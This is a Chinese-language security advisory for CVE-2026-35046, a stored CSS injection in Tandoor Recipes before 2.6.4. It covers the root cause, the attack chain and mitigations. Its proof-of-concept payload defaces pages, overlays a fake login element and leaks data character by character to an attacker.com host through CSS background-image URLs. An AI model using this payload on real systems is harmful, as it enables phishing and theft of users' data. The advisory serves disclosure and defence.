IPBUF安全漏洞报告
English
CVE-2026-35046 CVSS 5.4 中危

CVE-2026-35046 Tandoor Recipes CSS注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35046
漏洞类型
CSS注入
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Tandoor Recipes

相关标签

CSS注入Tandoor RecipesWeb安全存储型注入UI Redressing

漏洞概述

Tandoor Recipes是一款用于管理食谱、计划膳食和构建购物列表的应用程序。在2.6.4版本之前,该应用存在安全漏洞,允许经过身份验证的用户在食谱步骤说明中注入任意<style>标签。由于后端使用的bleach.clean()清理器显式地将<style>标签列入白名单,导致未经清理的CSS有效载荷被持久化并通过API提供服务。任何从API获取instructions_markdown并将其渲染为HTML且未进行额外清理的客户端都将执行攻击者控制的CSS代码。这可能引发界面重定向、钓鱼覆盖、视觉破坏以及基于CSS的数据窃取。

技术细节

该漏洞的根本原因在于Tandoor Recipes后端在处理用户输入时使用了`bleach`库进行HTML清理,但配置错误地将`<style>`标签加入了白名单。当低权限用户在食谱步骤中输入包含恶意CSS代码的内容时,后端并未过滤掉这些样式标签,而是将其直接存储在数据库中。当其他用户(通常是管理员或高权限用户)通过API请求食谱数据并在前端渲染时,受害者的浏览器会解析并执行这些恶意CSS样式。攻击者可以利用CSS的特性,例如`background-image: url(...)`配合外部请求来窃取敏感数据(如CSRF Token),或者利用绝对定位和透明度进行UI重定向(Clickjacking/Tabnabbing),从而实施钓鱼攻击。由于需要用户交互(UI:R)和较低权限,该漏洞属于存储型CSS注入,危害性在于绕过了传统XSS过滤器对脚本标签的检测。

攻击链分析

STEP 1
步骤1:身份认证
攻击者使用低权限账户登录Tandoor Recipes应用程序。
STEP 2
步骤2:构造Payload
攻击者编写包含恶意CSS代码的<style>标签,旨在进行视觉欺骗或数据外带。
STEP 3
步骤3:注入Payload
攻击者在创建或编辑食谱时,将恶意代码注入到“步骤说明”字段并提交。
STEP 4
步骤4:后端存储
后端`bleach.clean()`函数因白名单配置允许style标签,未进行过滤即将数据存入数据库。
STEP 5
步骤5:受害者访问
管理员或其他用户浏览包含该食谱的页面,前端通过API获取并渲染HTML。
STEP 6
步骤6:执行攻击
受害者浏览器解析并执行恶意CSS,攻击者实现界面钓鱼或窃取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-35046: Inject CSS into Recipe Step --> <style> /* Visual Defacement: Change background color */ body { background-color: #ff0000; } /* UI Redressing: Overlay a fake login button */ .fake-login { position: fixed; top: 50%; left: 50%; width: 200px; height: 50px; background: #fff; border: 1px solid #000; z-index: 9999; content: "Login Now"; } /* Data Exfiltration: Exfiltrate data if specific element exists */ .sensitive-info[value^="a"] { background-image: url("https://attacker.com/log?char=a"); } .sensitive-info[value^="b"] { background-image: url("https://attacker.com/log?char=b"); } </style> <p>This recipe step contains malicious CSS.</p>

影响范围

Tandoor Recipes < 2.6.4

防御指南

临时缓解措施
建议管理员立即将Tandoor Recipes升级到2.6.4版本以彻底修复此漏洞。如果无法立即升级,应限制普通用户对食谱内容的创建和编辑权限,或者在Web应用防火墙(WAF)中添加规则,检测并拦截包含<style>标签的HTTP请求体,防止恶意CSS代码被持久化到数据库中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表